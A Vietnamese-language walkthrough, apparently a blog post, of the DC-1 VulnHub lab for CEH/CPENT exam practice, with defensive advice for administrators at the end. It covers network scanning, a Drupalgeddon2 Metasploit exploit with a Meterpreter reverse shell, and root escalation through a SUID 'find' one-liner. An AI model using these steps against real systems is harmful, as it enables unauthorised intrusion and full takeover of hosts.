Luyện thi CEH Master và CPENT/LPT Với Pentest & Hacking Lab DC-1 VulnHub
1. Giới thiệu

Tổng quan về lab DC-1 VulnHub
DC-1 là một máy ảo được thiết kế đặc biệt cho mục đích thực hành và nâng cao kỹ năng kiểm thử xâm nhập. Máy ảo này được cung cấp trên nền tảng VulnHub, một kho lưu trữ phổ biến các máy ảo chứa lỗ hổng bảo mật, cho phép các chuyên gia và người học bảo mật rèn luyện kỹ năng trong một môi trường an toàn và hợp pháp.1 DC-1 tập trung vào các lỗ hổng thường gặp trong các ứng dụng web, cụ thể là hệ quản trị nội dung (CMS) Drupal, và các cấu hình sai phổ biến trên hệ điều hành Linux.2Mục tiêu chính khi thực hành với lab DC-1 là giành được quyền truy cập cao nhất (root) trên hệ thống mục tiêu và tìm ra một “lá cờ” (flag) cuối cùng, thường là một tệp văn bản chứa thông điệp xác nhận hoàn thành thử thách.2 Quá trình này đòi hỏi người thực hành phải trải qua nhiều giai đoạn của một cuộc kiểm thử xâm nhập điển hình, từ thu thập thông tin ban đầu đến khai thác lỗ hổng và leo thang đặc quyền…
Tầm quan trọng của DC-1 trong việc luyện thi CEH Master và CPENT/LPT
Việc thực hành với lab DC-1 mang lại giá trị to lớn cho những ai đang chuẩn bị cho các kỳ thi chứng chỉ bảo mật thực hành nâng cao như CEH Master và đặc biệt là CPENT (Certified Penetration Testing Professional) hay LPT (Licensed Penetration Tester). Các kỳ thi này không chỉ đánh giá kiến thức lý thuyết mà còn yêu cầu thí sinh phải chứng minh được khả năng thực hiện các kỹ thuật tấn công và phòng thủ trên các hệ thống thực tế.
DC-1 mô phỏng một kịch bản tấn công khá thực tế, nơi một lỗ hổng trên ứng dụng web có thể bị khai thác để giành quyền truy cập ban đầu, sau đó kẻ tấn công sẽ tìm cách leo thang đặc quyền để kiểm soát hoàn toàn hệ thống. Các kỹ năng được rèn luyện qua lab này bao gồm:
- Thu thập thông tin (Information Gathering): Sử dụng các công cụ để quét mạng, xác định máy chủ mục tiêu, các cổng dịch vụ đang mở và phiên bản phần mềm đang chạy.3
- Quét và phân tích lỗ hổng (Vulnerability Scanning and Analysis): Xác định các điểm yếu tiềm ẩn dựa trên thông tin thu thập được, đặc biệt là các lỗ hổng đã biết của phần mềm (ví dụ: Drupal).
- Khai thác ứng dụng web (Web Application Exploitation): Tập trung vào việc khai thác các lỗ hổng cụ thể của Drupal, chẳng hạn như Drupalgeddon2, để thực thi mã từ xa.5
- Leo thang đặc quyền trên Linux (Linux Privilege Escalation): Tìm kiếm và lợi dụng các cấu hình sai trên hệ thống Linux, ví dụ như các tệp tin có SUID bit không an toàn, để nâng quyền từ người dùng thông thường lên người dùng root.7
- Tư duy tấn công có phương pháp (Methodical Attack Mindset): Tuân theo một quy trình tấn công logic, từ bước đầu tiên đến khi đạt được mục tiêu cuối cùng.2
Hoàn thành lab DC-1 không chỉ là việc áp dụng các lệnh một cách máy móc. Nó đòi hỏi người học phải hiểu được “tại sao” mỗi bước được thực hiện và “làm thế nào” các lỗ hổng khác nhau có thể được xâu chuỗi lại để đạt được mục tiêu cuối cùng. Đây chính là tư duy và phương pháp luận mà các chứng chỉ như CPENT nhấn mạnh, nơi việc lập tài liệu chi tiết và báo cáo kết quả theo một phương pháp luận rõ ràng (ví dụ: PTES – Penetration Testing Execution Standard) là một phần quan trọng của bài thi. Các giai đoạn tấn công trong DC-1, từ “Discovering Host” đến “Final Flag” 2, phản ánh trực tiếp các bước cốt lõi của một phương pháp luận kiểm thử xâm nhập chuyên nghiệp.
2. Các Bài học Chính từ Lab DC-1
Thực hành lab DC-1 không chỉ giúp rèn luyện kỹ năng kỹ thuật mà còn mang lại nhiều bài học giá trị, củng cố kiến thức nền tảng và tư duy chiến lược cần thiết cho một chuyên gia kiểm thử xâm nhập.
Tầm quan trọng của quá trình thu thập thông tin (Enumeration is Key)
Giai đoạn thu thập thông tin là bước khởi đầu và là nền tảng cho bất kỳ cuộc kiểm thử xâm nhập thành công nào. Việc thu thập thông tin một cách kỹ lưỡng và chính xác về mục tiêu, bao gồm địa chỉ IP, các cổng đang mở, các dịch vụ đang chạy trên các cổng đó, và đặc biệt là phiên bản của các phần mềm và dịch vụ, là yếu tố quyết định. Nếu bỏ qua hoặc thực hiện sơ sài giai đoạn này, người kiểm thử có thể bỏ lỡ những vector tấn công tiềm năng hoặc lựa chọn sai công cụ, sai kỹ thuật, dẫn đến bế tắc.
Trong DC-1, việc xác định chính xác địa chỉ IP của máy chủ mục tiêu bằng các công cụ như netdiscover 3, sau đó sử dụng nmap để quét toàn bộ các cổng và xác định phiên bản dịch vụ 3, là cực kỳ quan trọng. Ví dụ, việc phát hiện ra hệ thống đang chạy một phiên bản Drupal cụ thể sẽ là manh mối chính để tìm kiếm và áp dụng exploit Drupalgeddon2. Nếu không có thông tin này, việc lựa chọn exploit sẽ trở nên mò mẫm và kém hiệu quả.
Phương pháp luận khai thác lỗ hổng ứng dụng web (Web Application Exploitation Methodology)
DC-1 tập trung vào lỗ hổng trên ứng dụng web, cụ thể là Drupal. Điều này nhấn mạnh tầm quan trọng của việc hiểu biết về các CMS phổ biến và các lỗ hổng thường gặp của chúng. Quá trình khai thác ứng dụng web thường bao gồm các bước:
- Xác định CMS và phiên bản: Sử dụng các kỹ thuật như xem mã nguồn trang, tìm các tệp đặc trưng (ví dụ: CHANGELOG.txt của Drupal), hoặc sử dụng các công cụ tự động để xác định CMS và phiên bản đang được sử dụng.
- Tìm kiếm lỗ hổng đã biết: Dựa vào phiên bản CMS, tìm kiếm trên các cơ sở dữ liệu lỗ hổng công khai (ví dụ: Exploit Database 9, CVE Mitre) để tìm các exploit tương ứng. Đối với DC-1, lỗ hổng Drupalgeddon2 (thường là CVE-2018-7600) là một ví dụ điển hình.5
- Sử dụng công cụ rà soát thư mục và tệp tin: Các công cụ như dirb hay gobuster giúp phát hiện các thư mục, tệp tin ẩn, hoặc các trang chức năng không được liên kết trực tiếp trên giao diện web.4 Những thông tin này có thể tiết lộ thêm vector tấn công hoặc các thông tin nhạy cảm.
- Hiểu cơ chế hoạt động của exploit: Trước khi chạy một exploit, đặc biệt là các exploit phức tạp như Drupalgeddon2 Forms API Property Injection 6, việc hiểu cách nó hoạt động, các tham số cần thiết, và điều kiện để khai thác thành công là rất quan trọng.
Các kỹ thuật leo thang đặc quyền phổ biến trên Linux (Common Linux Privilege Escalation Techniques)
Sau khi giành được quyền truy cập ban đầu vào hệ thống (thường với quyền của người dùng dịch vụ web như www-data), mục tiêu tiếp theo là leo thang đặc quyền lên người dùng cao nhất (root). DC-1 cung cấp cơ hội thực hành một trong những kỹ thuật leo thang đặc quyền phổ biến trên Linux: khai thác SUID binaries.
- SUID (Set User ID) binaries: Đây là các tệp thực thi khi được chạy sẽ có quyền của người sở hữu tệp đó, thay vì người dùng thực thi. Nếu một tệp thực thi thuộc sở hữu của root và có SUID bit được thiết lập, bất kỳ người dùng nào chạy tệp đó cũng sẽ có quyền root tạm thời trong quá trình thực thi.
- Tìm kiếm SUID binaries: Lệnh find / -perm -u=s -type f 2>/dev/null được sử dụng để tìm tất cả các tệp có SUID bit được thiết lập trên toàn bộ hệ thống.7
- Khai thác SUID find: Trong DC-1, lệnh find thường được cấu hình với SUID bit. Lệnh find có một tùy chọn -exec cho phép thực thi một lệnh khác. Bằng cách lợi dụng điều này, có thể sử dụng find để thực thi một shell với quyền root, ví dụ: find. -exec /bin/sh -p \; -quit.7
Mặc dù DC-1 tập trung vào SUID find, người học cũng nên tìm hiểu về các kỹ thuật leo thang đặc quyền khác trên Linux như khai thác kernel (kernel exploits) 7, lạm dụng quyền
sudo được cấu hình sai, khai thác cron jobs, hoặc các lỗ hổng trong dịch vụ chạy với quyền root.
Tư duy chiến lược và giải quyết vấn đề trong kiểm thử xâm nhập (Strategic Thinking and Problem Solving)
Kiểm thử xâm nhập không phải lúc nào cũng diễn ra suôn sẻ. Sẽ có những lúc các công cụ không hoạt động như mong đợi, các exploit thất bại, hoặc thông tin thu thập được không đủ rõ ràng. Trong những tình huống như vậy, khả năng tư duy chiến lược, phân tích vấn đề và thử các hướng tiếp cận khác nhau là vô cùng quan trọng.
Ví dụ, nếu một exploit Metasploit không thành công, thay vì bỏ cuộc, người học cần kiểm tra lại tất cả các tham số đã thiết lập (RHOSTS, LHOST, PAYLOAD, TARGETURI), đảm bảo rằng mục tiêu thực sự dễ bị tấn công bởi exploit đó, hoặc tìm kiếm các biến thể khác của exploit, hoặc thậm chí thử khai thác thủ công. Quá trình này giúp rèn luyện tính kiên nhẫn và kỹ năng giải quyết vấn đề.
Một điểm quan trọng mà DC-1 minh họa là sự kết hợp của các lỗ hổng. Cuộc tấn công không chỉ dừng lại ở một điểm yếu duy nhất. Thay vào đó, nó là một chuỗi các hành động: khai thác lỗ hổng trên ứng dụng web (Drupalgeddon2) để có được quyền truy cập ban đầu (foothold), sau đó từ foothold đó, tiếp tục tìm kiếm và khai thác một cấu hình sai trên hệ điều hành (SUID find) để leo thang lên quyền root. Điều này phản ánh một kịch bản tấn công rất phổ biến trong thực tế, nơi kẻ tấn công thường “xâu chuỗi” nhiều lỗ hổng nhỏ để đạt được mục tiêu lớn. Nó cũng nhấn mạnh rằng việc bảo vệ chỉ một lớp (ví dụ: chỉ vá lỗi ứng dụng web) là chưa đủ nếu các lớp khác của hệ thống (ví dụ: cấu hình hệ điều hành) vẫn còn yếu kém. Bảo mật đòi hỏi một cách tiếp cận đa lớp và toàn diện.
3. Hướng dẫn Thực hành Chi tiết Lab DC-1
Phần này sẽ cung cấp hướng dẫn từng bước để thiết lập môi trường lab và thực hiện cuộc tấn công vào máy chủ DC-1.
A. Chuẩn bị Môi trường Lab
Yêu cầu phần mềm và tài nguyên
Trước khi bắt đầu, cần đảm bảo có đủ các phần mềm và tài nguyên cần thiết. Việc chuẩn bị kỹ lưỡng ở bước này sẽ giúp quá trình cài đặt và thực hành diễn ra suôn sẻ.
Bảng 1: Yêu cầu Phần mềm và Tài nguyên
| Mục | Phần mềm/Tài nguyên | Nguồn tải/Phiên bản đề xuất | Ghi chú |
| Phần mềm ảo hóa | VMware Workstation Player hoặc VMware Workstation Pro | Trang chủ VMware (phiên bản mới nhất được khuyến nghị) | Đảm bảo máy tính chủ có đủ RAM (ít nhất 8GB) và dung lượng ổ cứng trống (ít nhất 40-50GB). |
| Máy tấn công | File ISO của Kali Linux | Trang chủ Kali Linux (kali.org) (phiên bản mới nhất) | Sẽ được cài đặt như một máy ảo trên VMware. |
| Máy mục tiêu | File OVA của DC-1 | Trang VulnHub (vulnhub.com), tìm kiếm “DC-1” | Đây là máy ảo chứa lỗ hổng cần tấn công. 2 |
| Kết nối mạng (đề xuất) | Mạng Host-Only trong VMware | Cấu hình trong Virtual Network Editor của VMware | Tạo môi trường lab biệt lập, an toàn. |
Hướng dẫn tải và cài đặt máy ảo DC-1 trên VMware (Windows)
- Tải file OVA của DC-1: Truy cập trang web VulnHub (1) và tìm kiếm máy ảo có tên “DC-1”. Tải về file có định dạng
.ova. - Import máy ảo vào VMware:
- Mở VMware Workstation (Player hoặc Pro).
- Chọn “File” từ thanh menu, sau đó chọn “Open…” (hoặc “Import a Virtual Machine” tùy phiên bản).
- Duyệt đến vị trí đã lưu file .ova của DC-1 và chọn nó.
- Một cửa sổ “Import Virtual Machine” sẽ xuất hiện. Có thể đặt lại tên cho máy ảo nếu muốn và chọn đường dẫn lưu trữ.
- Nhấn “Import” và chờ quá trình import hoàn tất.
- Sau khi import xong, máy ảo DC-1 sẽ xuất hiện trong danh sách máy ảo của VMware. Không khởi động máy ảo DC-1 ngay lập tức.
Hướng dẫn cấu hình mạng Host-Only trong VMware Workstation cho máy ảo Kali Linux và DC-1
Cấu hình mạng Host-Only giúp tạo ra một mạng riêng ảo, biệt lập, nơi máy tấn công (Kali Linux) và máy mục tiêu (DC-1) có thể giao tiếp với nhau và với máy chủ (Windows host) mà không bị ảnh hưởng bởi hoặc ảnh hưởng đến mạng bên ngoài (Internet hoặc mạng LAN cục bộ). Đây là cấu hình được khuyến nghị để đảm bảo an toàn trong quá trình thực hành.11
- Mở Virtual Network Editor:
- Trong VMware Workstation, đi đến menu “Edit” -> “Virtual Network Editor…”.12
- Nếu có thông báo yêu cầu quyền quản trị, hãy chấp nhận.
- Tạo hoặc kiểm tra mạng Host-Only:
- Trong cửa sổ Virtual Network Editor, tìm một mạng có loại (Type) là “Host-only”. Thông thường, VMware tạo sẵn một mạng Host-Only có tên là VMnet1.12
- Nếu không có sẵn, nhấn nút “Add Network…”. Chọn một tên mạng (ví dụ: VMnet1) từ danh sách và nhấn “OK”.
- Cấu hình mạng Host-Only (ví dụ: VMnet1):
- Chọn mạng Host-Only (ví dụ: VMnet1) từ danh sách.
- Ở phần dưới, đảm bảo tùy chọn “Host-only” được chọn.
- Tùy chọn “Connect a host virtual adapter to this network”: Nếu muốn máy tính Windows chủ có thể giao tiếp với các máy ảo trên mạng Host-Only này, hãy đánh dấu chọn tùy chọn này. Điều này thường hữu ích.
- Tùy chọn “Use local DHCP service to distribute IP address to VMs”: Để đơn giản hóa việc cấp phát IP cho các máy ảo trong lab, nên đánh dấu chọn tùy chọn này.12 VMware sẽ tự động cấp phát địa chỉ IP cho Kali và DC-1 trong một dải IP riêng. Ghi lại thông tin “Subnet IP” và “Subnet mask” hiển thị ở đây (ví dụ: Subnet IP là
192.168.64.0 và Subnet mask là 255.255.255.0). Dải IP này sẽ được sử dụng sau này. - Nhấn “Apply” rồi “OK” để lưu cấu hình.
- Gán card mạng cho máy ảo Kali Linux:
- Nếu chưa có máy ảo Kali Linux, hãy tạo một máy ảo mới từ file ISO đã tải về.
- Trong danh sách máy ảo, chuột phải vào máy ảo Kali Linux và chọn “Settings…”.
- Trong cửa sổ “Virtual Machine Settings”, chọn “Network Adapter” ở danh sách bên trái.
- Ở bên phải, trong phần “Network connection”, chọn “Host-only: A private network shared with the host”. Đảm bảo rằng tên mạng được chọn (ví dụ: VMnet1) khớp với mạng Host-Only đã cấu hình ở trên.11
- Nhấn “OK”.
- Gán card mạng cho máy ảo DC-1:
- Trong danh sách máy ảo, chuột phải vào máy ảo DC-1 và chọn “Settings…”.
- Tương tự như với Kali, chọn “Network Adapter”.
- Chọn “Host-only: A private network shared with the host” và đảm bảo chọn cùng một mạng Host-Only (ví dụ: VMnet1) như đã cấu hình cho Kali.11
- Nhấn “OK”.
Việc cấu hình mạng chính xác là nền tảng cho toàn bộ bài lab. Nếu các máy ảo không nằm trên cùng một mạng Host-Only hoặc cấu hình sai, chúng sẽ không thể “nhìn thấy” nhau, và quá trình tấn công sẽ không thể thực hiện được. Việc sử dụng Virtual Network Editor để định nghĩa một mạng Host-Only chung và sau đó gán card mạng của cả Kali Linux và DC-1 vào mạng đó đảm bảo một môi trường lab biệt lập và hoạt động ổn định.
B. Các bước Tấn công Máy chủ DC-1
Sau khi đã chuẩn bị xong môi trường, tiến hành các bước tấn công máy chủ DC-1.
Giai đoạn 1: Thu thập Thông tin (Information Gathering)
Khởi động cả hai máy ảo: Kali Linux và DC-1.
- Xác định địa chỉ IP của DC-1 bằng netdiscover:
- Mở một cửa sổ terminal trên máy Kali Linux.
- Để netdiscover hoạt động hiệu quả, cần biết dải IP của mạng Host-Only đã cấu hình. Ví dụ, nếu Subnet IP là 192.168.64.0, lệnh sẽ là:
Bash
sudo netdiscover -r 192.168.64.0/24
(Thay 192.168.64.0/24 bằng dải IP mạng Host-Only của bạn). Lệnh này sẽ quét mạng và liệt kê các thiết bị đang hoạt động cùng địa chỉ IP và MAC của chúng.3 - Xác định địa chỉ IP của máy DC-1 từ danh sách kết quả. Ghi lại địa chỉ IP này (sau đây gọi là TARGET_IP).
- Quét cổng và dịch vụ bằng nmap:
- Sau khi có TARGET_IP, sử dụng nmap để khám phá các cổng đang mở và các dịch vụ đang chạy trên DC-1. Một lệnh quét toàn diện và cung cấp thông tin phiên bản dịch vụ là:
Bash
nmap -sV -p- TARGET_IP
Hoặc để có thêm thông tin về hệ điều hành và các script mặc định:
Bash
nmap -A -p- TARGET_IP
Trong đó:
- -sV: Phát hiện phiên bản dịch vụ.
- -p-: Quét tất cả 65535 cổng TCP.
- -A: Bật chế độ phát hiện OS, phiên bản, script scanning và traceroute.
3 - Phân tích kết quả nmap. Chú ý đến các cổng mở quan trọng như:
- Cổng 80 (HTTP): Thường là nơi chạy ứng dụng web (Drupal trong trường hợp này).
- Cổng 22 (SSH): Dịch vụ truy cập từ xa an toàn.
- Các cổng khác có thể cung cấp thêm thông tin hoặc vector tấn công.
- Ghi lại tên dịch vụ và đặc biệt là phiên bản của các dịch vụ đang chạy.
Bảng 2: Kết quả Quét cổng Nmap (Ví dụ Tóm tắt)Bảng này giúp trực quan hóa các thông tin quan trọng từ kết quả Nmap, làm cơ sở cho các bước tấn công tiếp theo.
| Cổng (Port) | Trạng thái (State) | Dịch vụ (Service) | Phiên bản (Version) |
| 22/tcp | open | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ví dụ) |
| 80/tcp | open | http | Apache httpd 2.4.18 ((Ubuntu)) (Ví dụ) |
| … | … | … | Drupal X.Y (Thường được xác định ở bước sau) |
Giai đoạn thu thập thông tin này là cực kỳ quan trọng. `netdiscover` giúp nhanh chóng tìm ra mục tiêu trong mạng Host-Only nhỏ. `nmap` với các tùy chọn `-sV` và `-p-` đảm bảo không bỏ sót dịch vụ nào và cung cấp thông tin phiên bản, là chìa khóa để lựa chọn exploit chính xác ở các bước sau.[3, 4]
Giai đoạn 2: Khai thác Lỗ hổng (Exploitation)
Dựa trên thông tin từ nmap, cổng 80 (HTTP) là điểm tấn công chính.
- Phân tích dịch vụ web (Drupal) trên cổng 80:
- Mở trình duyệt web trên máy Kali Linux và truy cập vào địa chỉ http://TARGET_IP.
- Quan sát giao diện trang web. Tìm kiếm các thông tin có thể tiết lộ phiên bản Drupal, ví dụ như ở cuối trang (footer), trong mã nguồn HTML (chuột phải -> View Page Source), hoặc các tệp tin như CHANGELOG.txt (thử truy cập http://TARGET_IP/CHANGELOG.txt).
- Rà soát thư mục và tập tin bằng dirb (hoặc gobuster):
- Sử dụng dirb để tìm các thư mục và tệp tin ẩn hoặc không được liên kết trực tiếp trên trang web:
Bash
dirb http://TARGET_IP
Hoặc sử dụng gobuster với một wordlist phổ biến:
Bash
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
4 - Kết quả có thể bao gồm các trang đăng nhập, thư mục quản trị, hoặc các tệp cấu hình bị lộ.
- Khai thác lỗ hổng Drupal (Drupalgeddon2) bằng Metasploit Framework: Máy DC-1 thường dễ bị tấn công bởi lỗ hổng Drupalgeddon2 (CVE-2018-7600 hoặc các biến thể tương tự), một lỗ hổng thực thi mã từ xa (RCE) nghiêm trọng trong nhiều phiên bản Drupal 7.x.2 Metasploit Framework cung cấp module để khai thác lỗ hổng này.
- Mở Metasploit console:
Bash
msfconsole - Tìm kiếm module exploit:
Bash
search drupalgeddon2
Hoặc
Bash
search type:exploit platform:unix drupal
5 - Chọn module phù hợp. Module phổ biến cho Drupalgeddon2 là exploit/unix/webapp/drupal_drupalgeddon2.
Bash
use exploit/unix/webapp/drupal_drupalgeddon2
5 - Thiết lập các tùy chọn cần thiết:
Hiển thị các tùy chọn của module:
show options
5
Các tùy chọn quan trọng cần thiết lập:
- set RHOSTS TARGET_IP (thay TARGET_IP bằng địa chỉ IP của DC-1).
- set LHOST KALI_IP (thay KALI_IP bằng địa chỉ IP của máy Kali trên mạng Host-Only. Có thể xem IP của Kali bằng lệnh ip a hoặc ifconfig trên terminal Kali).
- set RPORT 80 (nếu dịch vụ HTTP chạy trên cổng 80, đây là giá trị mặc định).
- set TARGETURI / (Nếu Drupal được cài đặt ở thư mục gốc của web server. Nếu Drupal nằm trong một thư mục con, ví dụ http://TARGET_IP/drupal/, thì TARGETURI sẽ là /drupal/).
- set PAYLOAD php/meterpreter/reverse_tcp (Một payload phổ biến, cung cấp Meterpreter session).
Kiểm tra lại các tùy chọn đã thiết lập bằng show options.
Bảng 3: Các Tùy chọn Module Metasploit (Drupalgeddon2)Bảng này giúp người học hiểu rõ các tham số cần thiết khi sử dụng module, tránh lỗi do cấu hình sai.
| Tùy chọn (Option) | Mô tả (Description) | Giá trị ví dụ (Example Value) | Yêu cầu (Required) |
| RHOSTS | Địa chỉ IP của máy chủ mục tiêu (DC-1) | TARGET_IP | Yes |
| LHOST | Địa chỉ IP của máy tấn công (Kali) để nhận kết nối ngược | KALI_IP | Yes (cho reverse payloads) |
| RPORT | Cổng dịch vụ HTTP của mục tiêu | 80 | Yes |
| TARGETURI | Đường dẫn đến thư mục gốc của ứng dụng Drupal | / hoặc /drupal/ | Yes |
| PAYLOAD | Payload sẽ được thực thi trên mục tiêu | php/meterpreter/reverse_tcp | Yes |
* **Chạy exploit và giành quyền truy cập ban đầu:**
“`
exploit
“`
Hoặc
“`
run
“`
[5, 6]
* Nếu khai thác thành công, một session Meterpreter sẽ được mở, kết nối từ máy DC-1 về máy Kali. Người dùng sẽ có quyền của người dùng chạy dịch vụ web (thường là `www-data` hoặc `apache`).
* Trong Meterpreter session, có thể sử dụng các lệnh như `sysinfo` (thông tin hệ thống), `getuid` (xem user ID hiện tại), `pwd` (thư mục hiện tại) để xác nhận.
Việc lựa chọn đúng exploit và cấu hình chính xác các tham số như `RHOSTS`, `LHOST`, và `TARGETURI` là cực kỳ quan trọng cho sự thành công của bước này. Drupalgeddon2 là một ví dụ điển hình về một lỗ hổng RCE mạnh mẽ, và Metasploit giúp tự động hóa quá trình khai thác, nhưng người dùng vẫn cần hiểu rõ các tùy chọn mình đang thiết lập. Sự thành công của bước này phụ thuộc trực tiếp vào chất lượng thông tin thu thập được ở Giai đoạn 1.
Giai đoạn 3: Leo thang Đặc quyền (Privilege Escalation)
Sau khi có được Meterpreter session với quyền của người dùng www-data, mục tiêu tiếp theo là leo thang lên quyền root.
- Thu thập thông tin hệ thống và người dùng từ shell/meterpreter:
- Từ Meterpreter, có thể vào shell của hệ thống bằng lệnh shell.
- Trong shell, thực hiện các lệnh sau để thu thập thêm thông tin:
- whoami: Xác định người dùng hiện tại (ví dụ: www-data).7
- id: Xem thông tin chi tiết về user ID, group ID.7
- uname -a: Xem thông tin kernel (hữu ích nếu định tìm kernel exploit, dù ít khả năng cần cho DC-1).7
- cat /etc/passwd: Xem danh sách tất cả người dùng trên hệ thống.7
- cat /etc/issue hoặc lsb_release -a: Xem thông tin về bản phân phối Linux.7
- ps aux: Xem các tiến trình đang chạy.
- Tìm kiếm các SUID binaries:
Đây là một trong những vector leo thang đặc quyền phổ biến nhất trên Linux.
- Sử dụng lệnh find để tìm tất cả các tệp thực thi có SUID bit được thiết lập:
Bash
find / -perm -u=s -type f 2>/dev/null
Hoặc để hiển thị chi tiết hơn:
Bash
find / -perm -4000 -type f -ls 2>/dev/null
7 - Phân tích kết quả. Tìm kiếm các tệp thực thi có SUID bit mà không phải là các tệp hệ thống tiêu chuẩn hoặc các tệp có thể bị lạm dụng (ví dụ: nmap, find, vim, python, php, bash, etc.). GTFOBins là một tài liệu tham khảo tuyệt vời cho việc này.10
- Khai thác SUID find để giành quyền root:
Trong máy DC-1, lệnh find thường được cấu hình với SUID bit và thuộc sở hữu của người dùng root. Điều này tạo ra một lỗ hổng leo thang đặc quyền.
- Nếu find có SUID bit, có thể sử dụng nó để thực thi một shell với quyền root. Lệnh phổ biến để làm điều này là:
Bash
find. -exec /bin/sh -p \; -quit
Lưu ý: Lệnh này cần được chạy từ một thư mục mà người dùng hiện tại (www-data) có quyền ghi, nếu không có thể cần chỉ định đường dẫn đầy đủ đến find (ví dụ /usr/bin/find) và một thư mục bất kỳ cho . (ví dụ /tmp). Tùy chọn -p với /bin/sh rất quan trọng để shell giữ lại effective UID (là root).10 - Sau khi chạy lệnh trên, gõ whoami hoặc id trong shell mới. Nếu thành công, kết quả sẽ hiển thị là root hoặc uid=0(root) gid=0(root) groups=0(root).
Leo thang đặc quyền là bước then chốt để chiếm toàn quyền kiểm soát hệ thống. Việc hiểu và tìm kiếm các cấu hình sai phổ biến như SUID binaries là kỹ năng cốt lõi. Quá trình này thường bao gồm: có được shell với quyền thấp, thực hiện thu thập thông tin cục bộ (local enumeration) để tìm các vector leo thang tiềm năng, xác định một SUID binary có thể bị lạm dụng (như find), và cuối cùng là sử dụng kỹ thuật phù hợp (thường có thể tìm thấy trên GTFOBins) để thực thi một shell với quyền root.
Giai đoạn 4: Thu thập Cờ (Flag Capturing)
Sau khi đã có quyền root, mục tiêu cuối cùng của lab DC-1 là tìm và đọc nội dung của “final flag”.
- Điều hướng đến thư mục root:
Thông thường, flag của người dùng root sẽ nằm trong thư mục nhà của root (/root).
Bash
cd /root - Liệt kê các tệp và thư mục:
Bash
ls -la - Tìm và đọc nội dung flag: Tìm tệp có tên gợi ý là flag, ví dụ như thefinalflag.txt hoặc một tên tương tự được đề cập trong mô tả của lab.2
Bash
cat thefinalflag.txt
Nội dung của tệp này sẽ là bằng chứng hoàn thành bài lab.
Bước này tuy đơn giản nhưng là sự xác nhận cho toàn bộ nỗ lực và các kỹ thuật đã áp dụng thành công trong suốt quá trình thực hành.
4. Khuyến cáo
Từ việc thực hành lab DC-1, có thể rút ra nhiều khuyến cáo hữu ích cho cả quản trị viên hệ thống và những người đang học về an toàn thông tin.
Đối với Quản trị viên Hệ thống
- Biện pháp củng cố bảo mật cho Drupal (và các CMS khác):
- Cập nhật thường xuyên: Luôn đảm bảo Drupal core và tất cả các module, theme được cập nhật lên phiên bản mới nhất. Các lỗ hổng như Drupalgeddon2 thường nhắm vào các phiên bản cũ chưa được vá lỗi.
- Sử dụng công cụ quét bảo mật: Định kỳ sử dụng các công cụ quét lỗ hổng dành riêng cho Drupal (ví dụ: Droopescan, WPScan cho WordPress) để phát hiện các vấn đề tiềm ẩn.
- Hạn chế quyền truy cập: Giới hạn quyền truy cập vào các trang quản trị, chỉ cho phép từ các địa chỉ IP tin cậy nếu có thể. Sử dụng xác thực đa yếu tố cho tài khoản quản trị.
- Gỡ bỏ module/theme không cần thiết: Các module và theme không sử dụng có thể trở thành vector tấn công tiềm ẩn. Hãy gỡ bỏ chúng hoàn toàn.
- Nguyên tắc phân quyền tối thiểu (Principle of Least Privilege):
- Không chạy dịch vụ với quyền root: Các dịch vụ web (như Apache, Nginx) và các ứng dụng khác nên được chạy với tài khoản người dùng có quyền hạn chế (ví dụ: www-data), không bao giờ chạy với quyền root trừ khi thực sự bắt buộc.
- Thận trọng với SUID/SGID bit: Hạn chế tối đa việc gán SUID hoặc SGID bit cho các tệp thực thi. Chỉ gán khi thực sự cần thiết và phải hiểu rõ những rủi ro bảo mật liên quan. Đặc biệt, không bao giờ gán SUID bit cho các trình biên dịch, trình thông dịch, hoặc các công cụ có khả năng thực thi lệnh hoặc chỉnh sửa tệp hệ thống (như find, vim, python, perl, bash) nếu không có lý do chính đáng và các biện pháp kiểm soát chặt chẽ.8
- Rà soát định kỳ: Thường xuyên kiểm tra hệ thống để phát hiện các tệp có SUID/SGID bit không mong muốn hoặc không cần thiết.
- Tầm quan trọng của việc cập nhật và vá lỗi thường xuyên:
- Hệ điều hành và dịch vụ: Áp dụng các bản vá bảo mật cho hệ điều hành (Linux, Windows Server) và các dịch vụ nền tảng (máy chủ web, máy chủ SSH, cơ sở dữ liệu) ngay khi chúng được phát hành.
- Theo dõi bản tin bảo mật: Đăng ký nhận các bản tin bảo mật từ nhà cung cấp phần mềm và các tổ chức an ninh mạng uy tín để cập nhật thông tin về các lỗ hổng mới và các biện pháp khắc phục.
Đối với Người học
- Thực hành thêm các lab VulnHub tương tự:
- VulnHub là một nguồn tài nguyên vô giá với hàng trăm máy ảo có độ khó và kịch bản tấn công đa dạng.1 Việc thực hành thường xuyên với các lab khác nhau sẽ giúp làm quen với nhiều loại lỗ hổng, công cụ và kỹ thuật tấn công hơn.
- Hãy thử các lab tập trung vào các mảng cụ thể mà bản thân cảm thấy yếu hoặc muốn tìm hiểu sâu hơn, ví dụ như các lab chuyên về leo thang đặc quyền trên Windows/Linux, khai thác các loại ứng dụng web khác (WordPress, Joomla, Tomcat), hoặc các kỹ thuật tấn công mạng nội bộ.
- Khám phá các biến thể của kỹ thuật tấn công và leo thang:
- Không nên chỉ dừng lại ở những gì đã học được từ DC-1. Ví dụ, ngoài Drupalgeddon2, hãy tìm hiểu về các exploit khác cho Drupal hoặc các CMS khác.
- Đối với leo thang đặc quyền, nghiên cứu thêm các kỹ thuật như khai thác kernel vulnerabilities (yêu cầu hiểu về phiên bản kernel và tìm exploit tương ứng), lạm dụng cấu hình sudo sai (ví dụ: người dùng được phép chạy một lệnh cụ thể với sudo mà lệnh đó có thể bị lạm dụng để có shell root), khai thác cron jobs được cấu hình không an toàn, hoặc các lỗ hổng trong dịch vụ chạy với quyền root.7
- Tầm quan trọng của việc ghi chép và tài liệu hóa quá trình thực hành:
- Trong quá trình thực hành, hãy tập thói quen ghi chép lại các lệnh đã sử dụng, kết quả của chúng, những gì đã thử và thành công, những gì thất bại và tại sao. Có thể sử dụng các công cụ ghi chú như CherryTree, Obsidian, hoặc đơn giản là một tệp văn bản.
- Việc này không chỉ giúp củng cố kiến thức mà còn là một kỹ năng cực kỳ quan trọng khi làm việc thực tế và đặc biệt là khi tham gia các kỳ thi như CPENT/LPT, nơi việc viết báo cáo chi tiết, chuyên nghiệp là một phần yêu cầu bắt buộc.
- Liên kết các kỹ thuật đã học với các yêu cầu cụ thể của bài thi CEH Master và CPENT/LPT:
- Tìm hiểu kỹ các domain kiến thức (knowledge domains) và các kỹ năng được đánh giá trong từng chứng chỉ.
